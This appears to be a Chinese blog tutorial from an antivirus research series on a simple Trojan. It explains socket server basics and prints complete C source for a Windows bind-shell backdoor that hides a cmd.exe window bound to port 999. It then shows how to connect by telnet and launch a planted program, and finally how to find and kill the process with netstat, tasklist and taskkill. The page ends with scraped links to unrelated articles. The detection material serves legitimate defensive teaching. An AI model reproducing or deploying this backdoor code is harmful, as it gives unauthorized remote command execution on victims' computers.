一、前言

病毒与木马技术发展到今天,由于二者总是相辅相成,你中有我,我中有你,所以它们之间的界限往往已经不再那么明显,相互之间往往都会采用对方的一些技术以达到自己的目的,所以现在很多时候也就将二者直接统称为“恶意代码”。这次我打算用两篇文章的篇幅来讨论病毒与简单的木马相互结合的分析与防范方法。本篇也就是第一篇,讨论的是利用只有服务器端的木马程序实现“病毒”的启动。而在下一篇中,我会讨论既有服务器端又有客户端的木马程序与“病毒”相结合的分析与防范。

二、简单木马的原理

由于木马技术与计算机网络息息相关,所以也就离不开Socket套接字编程。这里我不打算详述Socket套接字编程的细节,这个在MSDN上有非常详细的讲述,无非就是根据套接字的编程的流程,将相应的内容填入“模板”。而既然要实现通信的效果,就需要遵循一个通信模型,木马一般都是C/S(客户端/服务端)模式的。本篇文章所要论述的,虽然不涉及客户端的编写,但实际上我只不过是把cmd程序当成了客户端,因此本质上还是C/S模式的。

C/S模型的开发,需要在服务器端(欲攻击的计算机)上绑定一个IP地址和一个端口号,然后进行监听,等待客户端(攻击方)的连接。客户端则是向相应的IP地址和端口号发起连接,服务器端接受后,双方就可以开始进行通信,这就是基于TCP协议的通信,也是接下来要用到的方法。另外还有一种基于UDP协议的方法,这种方法是在服务器端进行相应的绑定后,客户端不需要进行连接直接就可以和服务器进行通信。可见,TCP要比UDP可靠,而UDP要比TCP效率高。

本篇文章所论述的服务器端编程的基本原理如下:

1、打开一通信通道(绑定某个端口)并告知本地主机,它在某一个地址上接收客户请求。可以采用socket和bind函数实现。

2、等待用户请求到达该端口。利用listen函数实现。

3、接收到服务请求,处理该请求并发送应答信号。利用accept函数实现。

4、返回第二步,等待其他客户的请求。

5、关闭连接。利用closesocket函数实现。

以上所使用的函数顺序如下:

socket()→bind()→listen()→accept()→closesocket()

三、木马的编程实现

当服务器端运行这个程序后,客户端可以利用telnet向服务器端发起连接,成功后自动打开cmd窗口,就可以通过DOS命令来直接控制服务器端的目标计算机,代码如下:

#pragma comment(lib,"ws2_32.lib")
#include <winsock2.h>
#include <windows.h>
#define MasterPort 999 //欲利用的端口号 int main()
{
WSADATA WSADa;
sockaddr_in SockAddrIn;
SOCKET CSocket,SSocket;
int iAddrSize;
PROCESS_INFORMATION ProcessInfo;
STARTUPINFO StartupInfo;
char szCMDPath[255]; //初始化数据
ZeroMemory(&ProcessInfo,sizeof(PROCESS_INFORMATION));
ZeroMemory(&StartupInfo,sizeof(STARTUPINFO));
ZeroMemory(&WSADa,sizeof(WSADATA));
//获取CMD路径
GetEnvironmentVariable("COMSPEC",szCMDPath,sizeof(szCMDPath)); //加载ws2_32.dll
WSAStartup(0x0202,&WSADa);
//设置本地信息和绑定协议,建立Socket
SockAddrIn.sin_family = AF_INET;
SockAddrIn.sin_addr.S_un.S_addr = INADDR_ANY;
SockAddrIn.sin_port = htons(MasterPort);
CSocket = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);
//设置绑定端口999
bind(CSocket,(sockaddr *)&SockAddrIn,sizeof(SockAddrIn));
//设置服务器端监听端口
listen(CSocket,1);
iAddrSize = sizeof(SockAddrIn); //开始连接远程服务器,并配置隐藏窗口结构体
SSocket = accept(CSocket,(sockaddr *)&SockAddrIn,&iAddrSize);
StartupInfo.cb = sizeof(STARTUPINFO);
StartupInfo.wShowWindow = SW_HIDE;
StartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
StartupInfo.hStdInput = (HANDLE)SSocket;
StartupInfo.hStdOutput = (HANDLE)SSocket;
StartupInfo.hStdError = (HANDLE)SSocket;
//创建匿名管道
CreateProcess(NULL,szCMDPath,NULL,NULL,TRUE,0,NULL,NULL,&StartupInfo,&ProcessInfo);
WaitForSingleObject(ProcessInfo.hProcess,INFINITE); //关闭进程句柄
CloseHandle(ProcessInfo.hProcess);
CloseHandle(ProcessInfo.hThread);
//关闭套接字
closesocket(CSocket);
closesocket(SSocket);
//释放ws2_32.dll动态链接库
WSACleanup(); return 0;
}

由于代码比较简单,这里不再进行分析。

四、木马与“病毒”的结合利用

之前文章所讨论的“病毒”的自启动方式,都是需要借助于“外力”作用,而这次我的“病毒”则是通过植入木马,连接成功后输入DOS命令来启动,但是前提是木马需要先启动。这里我用了两台计算机(也可以使用虚拟机),一台是客户端,一台是服务器端,服务器端已经放置了木马程序,现在就在服务器端执行该木马。之后在客户端中打开cmd程序,输入:

telnet 192.168.1.107 999

这句命令的意思是通过telnet进行远程登录,连接到ip地址为192.168.1.107的计算机上的999号端口。成功后就可以发现已经连接到了对方的计算机上:

图1 连接到远程计算机

那么此时就可以通过DOS命令对目标计算机进行控制。这里假设目标计算机的E盘根目录下保存有我之前编写的Hacked.exe程序,那么可以通过输入如下命令进行运行:

start e:\hacked.exe

此时Hacked.exe程序已经在目标计算机上执行,显示如下:


图2 在目标计算机上启动Hacked.exe

当然,我这里是假设Hacked.exe已放入对方的电脑,这个前提会有诸多的限制,因为更好的方法是将Hacked.exe程序由客户端传到服务器端再进行启动。不过,由于这个方法比较危险,为了避免别有用心的人拿它去做不轨的事情,因此不再深入讨论。我的原则始终是以讨论如何更好地防范恶意程序为主,而对于恶意代码的实现,也就是点到为止。无需多加讨论的,坚决不进行深入探讨。

五、木马的查杀

上述代码所实现的是一个比较简单的正向连接后门程序,并没有添加进程隐藏功能,也没有增加启动项目,也就是说,当服务器端计算机重新启动后,这个木马就失效了,需要重新运行才可以。我这里讲讲如何手动查杀。当服务器端被植入木马后,服务器端可以进入cmd(若cmd被映像劫持可参考我之前的文章),然后输入命令:

netstat –ano

这个命令可以查看当前的网络连接状态,如图所示:

图3 查看网络连接状态

在图中可以看到,本地端口999与IP地址为192.168.1.104的主机建立了TCP连接,而且也可以看到进程的ID值为1292(每次启动木马的PID值可能不一样)。对于一般的木马来说,在命令提示符下就可以实现“查”的操作,随着以后讨论的深入,木马复杂度会不断加深,我可能会使用专业查杀工具或者采用自制的工具实现“查”的功能。

利用PID值可以查看进程的文件名,输入:

tasklist | find “1292”

就可以知道PID值为1292的进程的名称为“MiniTrojan.exe”。之后使用PID值就能够将木马进程从计算机中删除,这里用taskkill命令:

taskkill /f /pid 1292 /t

这句命令的意思是,强制(/f)终止PID值为1292 的进程和任何由此启动的进程(/t)。最后一步是找到MiniTrojan.exe的位置,并删除,就能够彻底将木马赶出计算机了,这里不再赘述。

六、小结

这篇文章所讲的木马程序需要在cmd下运行,尽管远不如图形界面直观,但是这小小的木马,也能够造成很大的威胁了。不过,这毕竟是一匹“小马”,采用简单的DOS命令就能够查杀,还是很好对付的。其实手动查杀病毒木马的流程就是这样,查木马病毒往往需要经验,需要敏锐的嗅觉,之后的“杀”的阶段,需要先把病毒木马的进程结束掉,然后才能删掉其主程序。即便是复杂的恶意程序,基本上也是这个原理。

反病毒攻防研究第005篇:简单木马分析与防范part1的更多相关文章

  1. 反病毒攻防研究第006篇:简单木马分析与防范part2

    一.前言 一般来说,木马是既有客户端也有服务器端的.上次讨论的不过是一种特殊情况,毕竟不是人人都懂得DOS命令,因此现在木马的客户端也都是做成非常直观的界面形式,方便操作.本篇文章会从客户端与服务器端 ...

  2. 反病毒攻防研究第004篇:利用WinRAR与AutoRun.inf实现自启动

    一.前言 由之前的一系列研究可以发现,为了使得"病毒"能够实现自启动,我也是煞费苦心,采取了各种方式,往往需要编写冗长的代码并且还需要掌握系统底层或注册表的很多知识才可以.而这次我 ...

  3. WAF攻防研究之四个层次Bypass WAF

    从架构.资源.协议和规则4个层次研究绕过WAF的技术,助于全方位提升WAF防御能力. 绕过WAF的相关技术研究是WAF攻防研究非常重要的一部分,也是最有趣的部分,所以我在写WAF攻防时先写攻击部分.还 ...

  4. iOS开发网络篇—简单介绍ASI框架的使用

    iOS开发网络篇—简单介绍ASI框架的使用 说明:本文主要介绍网络编程中常用框架ASI的简单使用. 一.ASI简单介绍 ASI:全称是ASIHTTPRequest,外号“HTTP终结者”,功能十分强大 ...

  5. iOS开发UI篇—简单的浏览器查看程序

    iOS开发UI篇—简单的浏览器查看程序 一.程序实现要求 1.要求 2. 界面分析 (1) 需要读取或修改属性的控件需要设置属性 序号标签 图片 图片描述 左边按钮 右边按钮 (2) 需要监听响应事件 ...

  6. iOS开发UI篇—简单介绍静态单元格的使用

    iOS开发UI篇—简单介绍静态单元格的使用 一.实现效果与说明 说明:观察上面的展示效果,可以发现整个界面是由一个tableview来展示的,上面的数据都是固定的,且几乎不会改变. 要完成上面的效果, ...

  7. iOS开发Swift篇—简单介绍

    iOS开发Swift篇—简单介绍 一.简介 Swift是苹果于2014年WWDC(苹果开发者大会)发布的全新编程语言 Swift在天朝译为“雨燕”,是它的LOGO 是一只燕子,跟Objective-C ...

  8. NHibernate 映射基础(第三篇) 简单映射、联合主键

    NHibernate 映射基础(第三篇) 简单映射.联合主键 NHibernate完全靠配置文件获取其所需的一切信息,其中映射文件,是其获取数据库与C#程序关系的所有信息来源. 一.简单映射 下面先来 ...

  9. 鸿蒙内核源码分析(编译过程篇) | 简单案例窥视GCC编译全过程 | 百篇博客分析OpenHarmony源码| v57.01

    百篇博客系列篇.本篇为: v57.xx 鸿蒙内核源码分析(编译过程篇) | 简单案例窥视编译全过程 | 51.c.h.o 编译构建相关篇为: v50.xx 鸿蒙内核源码分析(编译环境篇) | 编译鸿蒙 ...

随机推荐

  1. Java 程序员每天都在做什么?

    作为一名 在大.中.小微企业都待过 的 Java 开发者,今天和大家分享下自己在不同公司的工作日常和收获.包括一些个人积累的工作提升经验,以及一些 Java 学习的方法和资源. 先从我的第一份 Jav ...

  2. 剑指 Offer 60. n个骰子的点数 + 动态规划 + 空间优化

    剑指 Offer 60. n个骰子的点数 Offer_60 题目详情 题解分析 package com.walegarrett.offer; /** * @Author WaleGarrett * @ ...

  3. 剑指 Offer 15. 二进制中1的个数

    剑指 Offer 15. 二进制中1的个数 Offer 15 题目描述: 方法一:使用1逐位相与的方式来判断每位是否为1 /** * 方法一:使用1逐位与的方法 */ public class Off ...

  4. c++:一个辅助类让内存泄漏现原形!

    前言 对于c++而言,如何查找内存泄漏是程序员亘古不变的话题:解决之道可谓花样繁多.因为最近要用到QT写程序,摆在我面前的第一个重要问题是内存防泄漏.如果能找到一个简单而行之有效的方法,对后续开发大有 ...

  5. vue 树形数据增加属性并计算树节点的深度

    需求:在一组菜单树结构中转换数据结构(增加一些属性),并计算该树结构的节点深度. 实现util.js: function transferTreeData(arr, vm, list, level, ...

  6. python并发利器tomorrow

    tomorrow是我最近在用的一个爬虫利器,该模块属于第三方的模块,使用起来非常的方便,只需要用其中的threads方法作为装饰器去修饰一个普通的函数,既可以达到并发的效果,本篇将用实例来展示tomo ...

  7. python爬虫加定时任务,制作微信提醒备忘录

    一.任务的记录与提取 1.1 制作每日任务 为了便于爬取,推荐使用网页版的在线记事本,现在这种工具很多,我选择"石墨文档"进行操作演示.记录内容的 格式可以根据自己的需求和爬虫自行 ...

  8. 翻译:《实用的Python编程》06_01_Iteration_protocol

    目录 | 上一节 (5.2 封装) | 下一节 (6.2 自定义迭代) 6.1 迭代协议 本节将探究迭代的底层过程. 迭代无处不在 许多对象都支持迭代: a = 'hello' for c in a: ...

  9. 京东数科面试真题:常见的 IO 模型有哪些?Java 中的 BIO、NIO、AIO 有啥区别?

    本文节选自<Java面试进阶指北 打造个人的技术竞争力> 面试中经常喜欢问的一个问题,因为通过这个问题,面试官可以顺便了解一下你的操作系统的水平. IO 模型这块确实挺难理解的,需要太多计 ...

  10. C++中的间接宏函数

    宏函数对于每个C++程序员都决不陌生,就算是初出茅庐的C++程序员也知道如何定义.使用宏函数.   但是当初学者看到类似于以下这种宏函数嵌套的时候,可能还是会比较嘀咕, #define CONVERT ...